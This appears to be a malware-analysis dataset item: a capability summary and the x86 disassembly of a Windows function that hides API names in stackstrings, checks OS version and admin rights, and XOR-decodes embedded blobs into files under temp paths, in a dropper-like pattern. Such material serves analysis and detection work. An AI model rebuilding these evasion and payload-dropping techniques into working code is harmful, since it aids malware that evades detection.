Function at 0x419210
Capabilities:
Accept command line arguments
Check os version
Contain obfuscated stackstrings
Delete directory
Encode data using xor
Get common file path
Query environment variable

Disassembly:
mov eax, 0x14c8
call fcn.00463110
mov eax, dword [0x7fa2d0]
xor eax, esp
mov dword [esp + 0x14c4], eax
mov eax, dword [esp + 0x14cc]
push ebx
push ebp
push esi
push edi
push 0x206
xor ebx, ebx
lea edx, [esp + 0x69e]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x30], eax
mov word [esp + 0x6a4], cx
call fcn.0045d280
add esp, 0xc
push 0x206
lea ecx, [esp + 0xcb6]
xor eax, eax
push ebx
push ecx
mov word [esp + 0xcbc], ax
call fcn.0045d280
add esp, 0xc
push 0x206
lea eax, [esp + 0xaae]
xor edx, edx
push ebx
push eax
mov word [esp + 0xab4], dx
call fcn.0045d280
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
add esp, 0xc
lea ecx, [esp + 0x544]
push ecx
mov dword [esp + 0x5e4], 0x65474853
mov dword [esp + 0x5e8], 0x6c6f4674
mov dword [esp + 0x5ec], 0x50726564
mov dword [esp + 0x5f0], 0x57687461
mov word [esp + 0x5f4], bx
mov dword [esp + 0x548], 0x4c454853
mov dword [esp + 0x54c], 0x2e32334c
mov dword [esp + 0x550], 0x4c4c44
mov byte [esp + 0x554], bl
call eax
cmp eax, ebx
jne 0x419322
lea edx, [esp + 0x544]
push edx
call esi
cmp eax, ebx
je 0x41932d
lea ecx, [esp + 0x5e0]
push ecx
push eax
call edi
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
lea ecx, [esp + 0x534]
xor edx, edx
push ecx
mov dword [esp + 0x68c], 0x490042
mov dword [esp + 0x690], 0x52004e
mov dword [esp + 0x694], 0x530045
mov dword [esp + 0x698], edx
mov dword [esp + 0x58c], 0x68746150
mov dword [esp + 0x590], 0x65707041
mov dword [esp + 0x594], 0x57646e
mov byte [esp + 0x598], bl
mov dword [esp + 0x538], 0x574c4853
mov dword [esp + 0x53c], 0x2e495041
mov dword [esp + 0x540], 0x4c4c44
mov byte [esp + 0x544], bl
call eax
cmp eax, ebx
jne 0x4193d8
lea edx, [esp + 0x534]
push edx
call esi
cmp eax, ebx
jne 0x4193d8
xor eax, eax
jmp 0x4193e3
lea ecx, [esp + 0x588]
push ecx
push eax
call edi
lea edx, [esp + 0x688]
push edx
lea ecx, [esp + 0x69c]
push ecx
mov dword [esp + 0x1c], eax
call eax
push 0x208
lea edx, [esp + 0x69c]
push ebx
push edx
call fcn.0045d280
lea eax, [esp + 0x6a4]
mov esi, 0x801768
mov ecx, eax
add esp, 0xc
mov edx, 0x104
sub esi, ecx
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x419442
movzx ecx, word [eax + esi]
cmp cx, bx
je 0x419442
mov word [eax], cx
add eax, 2
dec edx
jne 0x419424
jmp 0x419446
cmp edx, ebx
jne 0x419449
sub eax, 2
mov esi, dword [0x809554]
xor edx, edx
lea ecx, [esp + 0x554]
mov word [eax], dx
mov eax, dword [0x809550]
push ecx
mov dword [esp + 0x5f8], 0x54746547
mov dword [esp + 0x5fc], 0x46706d65
mov dword [esp + 0x600], 0x4e656c69
mov dword [esp + 0x604], 0x57656d61
mov word [esp + 0x608], bx
mov dword [esp + 0x558], 0x4e52454b
mov dword [esp + 0x55c], 0x32334c45
mov dword [esp + 0x560], 0x4c4c442e
mov word [esp + 0x564], bx
call eax
cmp eax, ebx
jne 0x4194c8
xor ebp, ebp
jmp 0x4194d5
lea edx, [esp + 0x5f4]
push edx
push eax
call esi
mov ebp, eax
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
lea ecx, [esp + 0x534]
push ecx
mov dword [esp + 0x620], 0x68746150
mov dword [esp + 0x624], 0x646e6946
mov dword [esp + 0x628], 0x656c6946
mov dword [esp + 0x62c], 0x656d614e
mov word [esp + 0x630], 0x57
mov byte [esp + 0x632], bl
mov dword [esp + 0x538], 0x574c4853
mov dword [esp + 0x53c], 0x2e495041
mov dword [esp + 0x540], 0x4c4c44
mov byte [esp + 0x544], bl
call eax
cmp eax, ebx
jne 0x41956d
lea edx, [esp + 0x534]
push edx
call esi
cmp eax, ebx
jne 0x41956d
mov dword [esp + 0x1c], ebx
jmp 0x41957c
lea ecx, [esp + 0x61c]
push ecx
push eax
call edi
mov dword [esp + 0x1c], eax
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
lea edx, [esp + 0x544]
push edx
mov dword [esp + 0x65c], 0x68746150
mov dword [esp + 0x660], 0x6f6d6552
mov dword [esp + 0x664], 0x69466576
mov dword [esp + 0x668], 0x7053656c
mov dword [esp + 0x66c], 0x576365
mov byte [esp + 0x670], bl
mov dword [esp + 0x548], 0x574c4853
mov dword [esp + 0x54c], 0x2e495041
mov dword [esp + 0x550], 0x4c4c44
mov byte [esp + 0x554], bl
call eax
cmp eax, ebx
jne 0x419613
lea eax, [esp + 0x544]
push eax
call esi
cmp eax, ebx
jne 0x419613
xor edi, edi
jmp 0x419620
lea ecx, [esp + 0x658]
push ecx
push eax
call edi
mov edi, eax
push 0x206
lea eax, [esp + 0xebe]
xor edx, edx
push ebx
push eax
mov word [esp + 0xec4], dx
call fcn.0045d280
add esp, 0xc
push 0x206
lea edx, [esp + 0x8a6]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x8ac], cx
call fcn.0045d280
add esp, 0xc
lea eax, [esp + 0x698]
push eax
call dword [esp + 0x20]
lea ecx, [esp + 0xeb8]
mov esi, eax
mov eax, ecx
mov edx, 0x104
sub esi, eax
mov edi, edi
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x41969e
movzx eax, word [esi + ecx]
cmp ax, bx
je 0x41969e
mov word [ecx], ax
add ecx, 2
dec edx
jne 0x419680
jmp 0x4196a2
cmp edx, ebx
jne 0x4196a5
sub ecx, 2
lea eax, [esp + 0x698]
xor edx, edx
push eax
mov word [ecx], dx
call edi
lea ecx, [esp + 0xcb0]
push ecx
push ebx
lea edx, [esp + 0xec0]
push edx
lea eax, [esp + 0x6a4]
push eax
call ebp
mov eax, dword [0x809550]
mov esi, dword [0x809554]
lea ecx, [esp + 0x554]
push ecx
mov dword [esp + 0x57c], 0x656c6544
mov dword [esp + 0x580], 0x69466574
mov dword [esp + 0x584], 0x57656c
mov byte [esp + 0x588], bl
mov dword [esp + 0x558], 0x4e52454b
mov dword [esp + 0x55c], 0x32334c45
mov dword [esp + 0x560], 0x4c4c442e
mov word [esp + 0x564], bx
call eax
cmp eax, ebx
jne 0x41973d
xor eax, eax
jmp 0x419748
lea edx, [esp + 0x578]
push edx
push eax
call esi
lea ecx, [esp + 0xcb0]
push ecx
call eax
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
lea edx, [esp + 0x534]
push edx
mov dword [esp + 0x674], 0x68746150
mov dword [esp + 0x678], 0x6f6d6552
mov dword [esp + 0x67c], 0x78456576
mov dword [esp + 0x680], 0x736e6574
mov dword [esp + 0x684], 0x576e6f69
mov word [esp + 0x688], bx
mov dword [esp + 0x538], 0x574c4853
mov dword [esp + 0x53c], 0x2e495041
mov dword [esp + 0x540], 0x4c4c44
mov byte [esp + 0x544], bl
call eax
cmp eax, ebx
jne 0x4197ea
lea eax, [esp + 0x534]
push eax
call esi
cmp eax, ebx
jne 0x4197ea
xor eax, eax
jmp 0x4197f5
lea ecx, [esp + 0x670]
push ecx
push eax
call edi
lea edx, [esp + 0xcb0]
push edx
call eax
lea eax, [esp + 0xeb8]
push eax
lea ecx, [esp + 0x69c]
push ecx
call dword [esp + 0x1c]
lea edx, [esp + 0xcb0]
push edx
call dword [esp + 0x20]
lea ecx, [esp + 0x8a0]
mov esi, eax
mov eax, ecx
mov edx, 0x104
sub esi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x41984f
movzx eax, word [esi + ecx]
cmp ax, bx
je 0x41984f
mov word [ecx], ax
add ecx, 2
dec edx
jne 0x419831
jmp 0x419853
cmp edx, ebx
jne 0x419856
sub ecx, 2
xor edx, edx
mov word [ecx], dx
mov edx, 0x104
lea eax, [esp + 0x698]
cmp word [eax], bx
je 0x419874
add eax, 2
dec edx
jne 0x419867
jmp 0x41989f
cmp edx, ebx
je 0x41989f
lea eax, [esp + 0x8a6]
push eax
mov ecx, 0x104
sub ecx, edx
mov eax, 0x104
sub eax, ecx
lea ecx, [esp + ecx*2 + 0x69c]
mov edx, SysReAllocString
call fcn.00419020
push 0x206
lea edx, [esp + 0x12ce]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x12d4], cx
call fcn.0045d280
add esp, 0xc
push 0x104
lea eax, [esp + 0x12cc]
push eax
push str.2_XTV_VGGSVCV2KDzvec_rc
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x698]
lea esi, [esp + 0x12c8]
mov ecx, eax
mov edx, 0x104
sub esi, ecx
mov edi, edi
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x41990e
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x41990e
mov word [eax], cx
add eax, 2
dec edx
jne 0x4198f0
jmp 0x419912
cmp edx, ebx
jne 0x419915
sub eax, 2
mov edi, dword [0x809554]
mov esi, dword [0x809548]
xor edx, edx
lea ecx, [esp + 0x534]
mov word [eax], dx
mov eax, dword [0x809550]
push ecx
mov dword [esp + 0x634], 0x68746150
mov dword [esp + 0x638], 0x42646441
mov dword [esp + 0x63c], 0x736b6361
mov dword [esp + 0x640], 0x6873616c
mov word [esp + 0x644], 0x57
mov byte [esp + 0x646], bl
mov dword [esp + 0x538], 0x574c4853
mov dword [esp + 0x53c], 0x2e495041
mov dword [esp + 0x540], 0x4c4c44
mov byte [esp + 0x544], bl
call eax
cmp eax, ebx
jne 0x4199b0
lea edx, [esp + 0x534]
push edx
call esi
cmp eax, ebx
jne 0x4199b0
xor ebp, ebp
jmp 0x4199bd
lea ecx, [esp + 0x630]
push ecx
push eax
call edi
mov ebp, eax
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
lea edx, [esp + 0x544]
push edx
mov dword [esp + 0x5bc], 0x68746150
mov dword [esp + 0x5c0], 0x656c6946
mov dword [esp + 0x5c4], 0x73697845
mov dword [esp + 0x5c8], 0x577374
mov byte [esp + 0x5cc], bl
mov dword [esp + 0x548], 0x574c4853
mov dword [esp + 0x54c], 0x2e495041
mov dword [esp + 0x550], 0x4c4c44
mov byte [esp + 0x554], bl
call eax
cmp eax, ebx
jne 0x419a4d
lea eax, [esp + 0x544]
push eax
call esi
cmp eax, ebx
jne 0x419a4d
xor edi, edi
mov dword [esp + 0x18], edi
jmp 0x419a5e
lea ecx, [esp + 0x5b8]
push ecx
push eax
call edi
mov dword [esp + 0x18], eax
mov edi, eax
mov eax, dword [0x809550]
mov esi, dword [0x809554]
lea edx, [esp + 0x554]
push edx
mov dword [esp + 0x5d0], 0x61657243
mov dword [esp + 0x5d4], 0x69446574
mov dword [esp + 0x5d8], 0x74636572
mov dword [esp + 0x5dc], 0x5779726f
mov word [esp + 0x5e0], bx
mov dword [esp + 0x558], 0x4e52454b
mov dword [esp + 0x55c], 0x32334c45
mov dword [esp + 0x560], 0x4c4c442e
mov word [esp + 0x564], bx
call eax
cmp eax, ebx
jne 0x419ada
mov dword [esp + 0x14], ebx
jmp 0x419ae9
lea ecx, [esp + 0x5cc]
push ecx
push eax
call esi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x698]
push edx
call fcn.0041d410
lea eax, [esp + 0x698]
push eax
call edi
cmp eax, 1
jne 0x419b16
push 0x7cac08
lea esi, [esp + 0x69c]
call fcn.00418f70
lea ecx, [esp + 0x698]
push ecx
call ebp
lea edx, [esp + 0x698]
push edx
call edi
cmp eax, 1
je 0x419bdf
mov eax, dword [0x809550]
mov edi, dword [0x809554]
mov esi, dword [0x809548]
lea ecx, [esp + 0x534]
push ecx
mov dword [esp + 0x568], 0x72434853
mov dword [esp + 0x56c], 0x65746165
mov dword [esp + 0x570], 0x65726944
mov dword [esp + 0x574], 0x726f7463
mov word [esp + 0x578], 0x79
mov byte [esp + 0x57a], bl
mov dword [esp + 0x538], 0x4c454853
mov dword [esp + 0x53c], 0x2e32334c
mov dword [esp + 0x540], 0x4c4c44
mov byte [esp + 0x544], bl
call eax
cmp eax, ebx
jne 0x419bc9
lea edx, [esp + 0x534]
push edx
call esi
cmp eax, ebx
jne 0x419bc9
xor eax, eax
jmp 0x419bd4
lea ecx, [esp + 0x564]
push ecx
push eax
call edi
lea edx, [esp + 0x698]
push edx
push ebx
call eax
mov eax, dword [0x5cf6c4]
push eax
push 0x5cf6c8
lea edi, [esp + 0x40]
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x40], ebx
call fcn.0041b050
push 0x62
lea edx, [esp + 0xbe]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x34], eax
mov word [esp + 0xc4], cx
call fcn.0045d280
add esp, 0xc
push 0x414
lea eax, [esp + 0x120]
push ebx
push eax
call fcn.0045d280
mov edi, dword [esp + 0x28]
add esp, 0xc
push 0x478
lea ecx, [esp + 0xbc]
push edi
push ecx
call fcn.0045c950
mov ebp, dword [esp + 0x30]
lea eax, [ebp + 0x10]
lea esi, [esp + 0x1fc]
add esp, 0xc
mov edx, 0x104
sub esi, eax
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x419c83
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419c83
mov word [eax], cx
add eax, 2
dec edx
jne 0x419c65
jmp 0x419c87
cmp edx, ebx
jne 0x419c8a
sub eax, 2
xor edx, edx
push 0x38
mov word [eax], dx
add edi, 0x478
lea eax, [esp + 0x84]
push edi
push eax
call fcn.0045c950
mov edi, 7
add esp, 0xc
mov dword [esp + 0x20], 0x4b0
mov dword [esp + 0x10], ebx
mov dword [esp + 0x34], edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x419cd5
shr eax, 8
cmp al, 1
jne 0x419cd5
mov esi, 1
mov dword [ebp + 8], esi
call fcn.0041cc90
mov dword [ebp], eax
xor esi, esi
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x30]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x30], 2
jne 0x419d04
mov esi, 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
cmp eax, 1
jne 0x419d11
mov esi, eax
cmp dword [ebp], 1
mov dword [ebp + 4], esi
jne 0x419dac
cmp esi, ebx
jne 0x419dac
lea edx, [esp + 0x698]
mov dword [esp + 0x10], edi
mov edi, 0xb
push edx
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [esp + 0x2bc]
add ecx, dword [esp + 0x254]
mov edx, dword [esp + 0x184]
add ecx, dword [esp + 0x1ec]
lea eax, [ecx + edx + 0xe8cb0]
lea ecx, [esp + 0x698]
push ecx
push 0x104
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x7cac0c
lea edx, [esp + 0x69c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [esp + 0x698]
push eax
call dword [esp + 0x1c]
cmp eax, 1
je 0x419dac
push ebx
lea ecx, [esp + 0x69c]
push ecx
call dword [esp + 0x1c]
xor ebp, ebp
cmp edi, ebx
jbe 0x419f06
cmp ebp, 5
ja case.0x419dbf.3
jmp dword [ebp*4 + 0x41a698]
lea eax, [esp + 0xb8]
mov esi, str.txerdxbetrd9svc
mov ecx, eax
mov edx, 0x32
sub esi, ecx
jmp 0x419de0
lea ecx, [edx + 0x7fffffcc]
test ecx, ecx
je 0x419ef1
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419ef1
mov word [eax], cx
add eax, 2
dec edx
jne 0x419de0
jmp 0x419ef5
lea eax, [esp + 0x120]
mov esi, str.yaSratrvgg9ror
mov ecx, eax
mov edx, 0x32
sub esi, ecx
mov edi, edi
lea ecx, [edx + 0x7fffffcc]
test ecx, ecx
je 0x419ef1
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419ef1
mov word [eax], cx
add eax, 2
dec edx
jne 0x419e20
jmp 0x419ef5
lea eax, [esp + 0x188]
mov esi, str.sratrtxyqp9svc
mov ecx, eax
mov edx, 0x32
sub esi, ecx
mov edi, edi
lea ecx, [edx + 0x7fffffcc]
test ecx, ecx
je 0x419ef1
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419ef1
mov word [eax], cx
add eax, 2
dec edx
jne 0x419e60
jmp 0x419ef5
lea eax, [esp + 0x258]
mov esi, str.sratrtxsyp9svc
mov ecx, eax
mov edx, 0x32
sub esi, ecx
jmp 0x419ea0
lea ecx, [edx + 0x7fffffcc]
test ecx, ecx
je 0x419ef1
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419ef1
mov word [eax], cx
add eax, 2
dec edx
jne 0x419ea0
jmp 0x419ef5
lea eax, [esp + 0x2c0]
mov esi, str.txsrtrogerdd9s
mov ecx, eax
mov edx, 0x32
sub esi, ecx
lea ecx, [edx + 0x7fffffcc]
test ecx, ecx
je 0x419ef1
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419ef1
mov word [eax], cx
add eax, 2
dec edx
jne 0x419ed3
jmp 0x419ef5
cmp edx, ebx
jne 0x419ef8
sub eax, 2
xor edx, edx
mov word [eax], dx
inc ebp
cmp ebp, edi
jb 0x419db6
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
cmp eax, edi
jae 0x41a55f
lea eax, [esp + 0x698]
lea ecx, [esp + 0x8a0]
sub eax, ecx
mov dword [esp + 0x40], eax
lea ebx, [ebx]
push 0x206
lea eax, [esp + 0x8a6]
xor edx, edx
push ebx
push eax
mov word [esp + 0x8ac], dx
call fcn.0045d280
mov esi, dword [esp + 0x4c]
add esp, 0xc
mov edx, 0x104
lea eax, [esp + 0x8a0]
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x419f7e
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x419f7e
mov word [eax], cx
add eax, 2
dec edx
jne 0x419f60
jmp 0x419f82
cmp edx, ebx
jne 0x419f85
sub eax, 2
mov edi, dword [0x809554]
mov esi, dword [0x809548]
xor edx, edx
lea ecx, [esp + 0x534]
mov word [eax], dx
mov eax, dword [0x809550]
push ecx
mov dword [esp + 0x558], 0x68746150
mov dword [esp + 0x55c], 0x65707041
mov dword [esp + 0x560], 0x57646e
mov byte [esp + 0x564], bl
mov dword [esp + 0x538], 0x574c4853
mov dword [esp + 0x53c], 0x2e495041
mov dword [esp + 0x540], 0x4c4c44
mov byte [esp + 0x544], bl
call eax
cmp eax, ebx
jne 0x41a00d
lea edx, [esp + 0x534]
push edx
call esi
cmp eax, ebx
jne 0x41a00d
mov dword [esp + 0x10], ebx
jmp 0x41a01c
lea ecx, [esp + 0x554]
push ecx
push eax
call edi
mov dword [esp + 0x10], eax
mov esi, dword [esp + 0x18]
mov ebp, esi
imul ebp, ebp, 0x68
lea eax, [esp + ebp + 0xb8]
push eax
lea edx, [esp + 0x8a4]
push edx
call dword [esp + 0x18]
cmp esi, ebx
je 0x41a04b
cmp esi, 2
je 0x41a04b
cmp esi, 4
jne 0x41a18a
push 0x206
lea ecx, [esp + 0x10c6]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x10cc], ax
call fcn.0045d280
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c4]
push edx
push str.2_XTV_VGGSVCV2KSratrDrc
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x8a0]
lea esi, [esp + 0x10c0]
mov ecx, eax
mov edx, 0x104
sub esi, ecx
lea ebx, [ebx]
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x41a0be
movzx ecx, word [esi + eax]
cmp cx, bx
je 0x41a0be
mov word [eax], cx
add eax, 2
dec edx
jne 0x41a0a0
jmp 0x41a0c2
cmp edx, ebx
jne 0x41a0c5
sub eax, 2
mov edi, dword [0x809554]
mov esi, dword [0x809548]
xor edx, edx
lea ecx, [esp + 0x544]
mov word [eax], dx
mov eax, dword [0x809550]
push ecx
mov dword [esp + 0x648], 0x72434853
mov dword [esp + 0x64c], 0x65746165
mov dword [esp + 0x650], 0x65726944
mov dword [esp + 0x654], 0x726f7463
mov word [esp + 0x658], 0x79
mov byte [esp + 0x65a], bl
mov dword [esp + 0x548], 0x4c454853
mov dword [esp + 0x54c], 0x2e32334c
mov dword [esp + 0x550], 0x4c4c44
mov byte [esp + 0x554], bl
call eax
cmp eax, ebx
jne 0x41a160
lea edx, [esp + 0x544]
push edx
call esi
cmp eax, ebx
jne 0x41a160
xor eax, eax
jmp 0x41a16b
lea ecx, [esp + 0x644]
push ecx
push eax
call edi
lea edx, [esp + 0x8a0]
push edx
push ebx
call eax
lea eax, [esp + ebp + 0xb8]
push eax
lea eax, [esp + 0x8a4]
push eax
call dword [esp + 0x18]
lea eax, [esp + ebp + 0x11c]
mov dword [esp + 0x10], eax
mov eax, dword [eax]
cmp eax, ebx
jbe 0x41a55f
push eax
call fcn.00422c15
mov ebp, eax
add esp, 4
mov dword [esp + 0x3c], ebp
cmp ebp, ebx
je 0x41a54c
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x20]
mov eax, dword [edi]
add esi, dword [esp + 0x1c]
push eax
push esi
push ebp
call fcn.0045c950
add esp, 0xc
cmp dword [esp + 0x18], ebx
jne 0x41a325
mov edi, dword [esp + 0x11c]
push ebp
add edi, 0x10
call fcn.0045c241
add esp, 4
push edi
call fcn.00422c15
mov ebp, eax
add esp, 4
cmp ebp, ebx
je 0x41a54c
mov ecx, dword [esp + 0x11c]
push ecx
push esi
push ebp
call fcn.0045c950
mov eax, dword [0x809550]
mov esi, dword [0x809554]
add esp, 0xc
lea edx, [esp + 0x598]
push edx
mov dword [esp + 0x60c], 0x43746547
mov dword [esp + 0x610], 0x65727275
mov dword [esp + 0x614], 0x6854746e
mov dword [esp + 0x618], 0x64616572
mov word [esp + 0x61c], bx
mov dword [esp + 0x59c], 0x4e52454b
mov dword [esp + 0x5a0], 0x32334c45
mov dword [esp + 0x5a4], 0x4c4c442e
mov word [esp + 0x5a8], bx
call eax
cmp eax, ebx
jne 0x41a28b
xor eax, eax
jmp 0x41a296
lea ecx, [esp + 0x608]
push ecx
push eax
call esi
call eax
lea edx, [esp + 0x81]
mov byte [esp + 0x81], al
push edx
lea eax, [esp + 0x120]
mov ecx, ebp
call fcn.00418d20
mov eax, dword [esp + 0x120]
add eax, 0x38
add esp, 4
push eax
mov dword [esp + 0x30], eax
call fcn.00422c15
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x41a5bd
mov edi, eax
mov ecx, 0xe
lea esi, [esp + 0x80]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x11c]
push ecx
add eax, 0x38
push ebp
push eax
call fcn.0045c950
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x20]
add esp, 0xc
push edx
push esi
lea ecx, [esp + 0x8a8]
call fcn.0041ad40
push esi
mov dword [esp + 0x2c], eax
call fcn.0045c241
jmp 0x41a4de
mov eax, dword [esp + 0x18]
cmp eax, 2
je 0x41a364
cmp eax, 4
je 0x41a364
mov esi, dword [edi]
movsx ecx, byte [esp + 0x80]
xor eax, eax
cmp esi, ebx
jbe 0x41a34b
xor byte [eax + ebp], cl
inc eax
cmp eax, esi
jb 0x41a343
mov eax, dword [edi]
push eax
push ebp
lea ecx, [esp + 0x8a8]
call fcn.0041ad40
mov dword [esp + 0x28], eax
jmp 0x41a4e5
mov ecx, dword [esp + 0x10]
mov edi, dword [ecx]
add edi, 0x10
push edi
call fcn.00422c15
mov ebp, eax
add esp, 4
cmp ebp, ebx
je 0x41a54c
push edi
push ebx
push ebp
call fcn.0045d280
mov edx, dword [esp + 0x1c]
mov eax, dword [edx]
add esp, 0xc
push eax
push esi
push ebp
call fcn.0045c950
mov ecx, 0xe
lea esi, [esp + 0x8c]
lea edi, [esp + 0x54]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [ecx]
movsx ecx, byte [esp + 0x8c]
add esp, 0xc
xor eax, eax
cmp esi, ebx
jbe 0x41a3ca
xor byte [eax + ebp], cl
inc eax
cmp eax, esi
jb 0x41a3c2
mov eax, dword [0x809550]
mov esi, dword [0x809554]
lea edx, [esp + 0x5a8]
push edx
mov dword [esp + 0x568], 0x43746547
mov dword [esp + 0x56c], 0x65727275
mov dword [esp + 0x570], 0x6854746e
mov dword [esp + 0x574], 0x64616572
mov word [esp + 0x578], bx
mov dword [esp + 0x5ac], 0x4e52454b
mov dword [esp + 0x5b0], 0x32334c45
mov dword [esp + 0x5b4], 0x4c4c442e
mov word [esp + 0x5b8], bx
call eax
cmp eax, ebx
jne 0x41a444
xor eax, eax
jmp 0x41a44f
lea ecx, [esp + 0x564]
push ecx
push eax
call esi
call eax
mov edx, dword [esp + 0x10]
mov byte [esp + 0x49], al
mov eax, dword [edx]
lea ecx, [esp + 0x49]
mov dword [esp + 0x14], eax
push ecx
lea eax, [esp + 0x18]
mov ecx, ebp
call fcn.00418d20
mov eax, dword [esp + 0x18]
add eax, 0x38
add esp, 4
push eax
mov dword [esp + 0x48], eax
call fcn.00422c15
add esp, 4
mov dword [esp + 0x2c], eax
cmp eax, ebx
je 0x41a5bd
mov edx, dword [esp + 0x14]
push edx
mov edi, eax
add eax, 0x38
push ebp
mov ecx, 0xe
lea esi, [esp + 0x50]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0045c950
mov eax, dword [esp + 0x50]
mov esi, dword [esp + 0x38]
add esp, 0xc
push eax
push esi
lea ecx, [esp + 0x8a8]
call fcn.0041ad40
push ebp
mov dword [esp + 0x2c], eax
call fcn.0045c241
add esp, 4
push esi
call fcn.0045c241
mov ebp, dword [esp + 0x40]
mov edi, dword [esp + 0x14]
add esp, 4
push ebp
call fcn.0045c241
mov eax, dword [esp + 0x1c]
add esp, 4
cmp eax, ebx
jne 0x41a500
add dword [esp + 0x20], 0xe8800
jmp 0x41a54c
mov ecx, dword [edi]
add dword [esp + 0x20], ecx
cmp eax, 1
jne 0x41a54c
lea eax, [esp + 0xaa8]
lea esi, [esp + 0x8a0]
mov ecx, eax
mov edx, 0x104
sub esi, ecx
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x41a540
movzx ecx, word [eax + esi]
cmp cx, bx
je 0x41a540
mov word [eax], cx
add eax, 2
dec edx
jne 0x41a522
jmp 0x41a544
cmp edx, ebx
jne 0x41a547
sub eax, 2
xor edx, edx
mov word [eax], dx
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
cmp eax, dword [esp + 0x34]
jb 0x419f30
mov eax, dword [esp + 0x24]
mov edi, 1
cmp dword [eax], edi
je 0x41a57c
lea ecx, [esp + 0x698]
push ecx
mov edx, eax
push edx
call fcn.0041a6b0
mov eax, dword [esp + 0x24]
mov esi, eax
cmp dword [eax + 4], edi
jne 0x41a595
lea ecx, [esp + 0x698]
push ecx
push esi
call fcn.0041a6b0
mov edx, dword [esp + 0x1c]
push edx
call fcn.0045c241
add esp, 4
cmp dword [esi], edi
jne 0x41a5c6
cmp dword [esi + 4], ebx
jne 0x41a5cf
lea eax, [esp + 0x698]
push eax
call fcn.0041cdd0
jmp 0x41a677
mov eax, dword [esp + 0x28]
jmp 0x41a67c
cmp dword [esi + 4], ebx
je 0x41a65e
cmp dword [esi + 0xc], edi
je 0x41a65e
mov eax, 0x104
lea ecx, [esp + 0xaa8]
cmp word [ecx], bx
je 0x41a5ff
add ecx, 2
sub eax, edi
jne 0x41a5e4
lea edx, [esp + 0xaa8]
push edx
call fcn.0041cf20
jmp 0x41a677
cmp eax, ebx
je 0x41a64f
mov edx, 0x104
sub edx, eax
mov ecx, 0x104
sub ecx, edx
lea eax, [esp + edx*2 + 0xaa8]
je 0x41a647
mov edi, str._setup
lea esi, [ecx + edx + 0x7ffffefb]
sub edi, eax
cmp esi, ebx
je 0x41a643
movzx edx, word [eax + edi]
cmp dx, bx
je 0x41a643
mov word [eax], dx
dec ecx
add eax, 2
dec esi
cmp ecx, ebx
jne 0x41a628
jmp 0x41a647
cmp ecx, ebx
jne 0x41a64a
sub eax, 2
xor ecx, ecx
mov word [eax], cx
lea edx, [esp + 0xaa8]
push edx
call fcn.0041cf20
jmp 0x41a677
cmp dword [esi + 0xc], ebx
je 0x41a66a
call fcn.0041d7f0
jmp 0x41a677
lea eax, [esp + 0xaa8]
push eax
call fcn.0041c7a0
mov eax, 1
mov ecx, dword [esp + 0x14d4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0045a5ed
add esp, 0x14c8
ret 4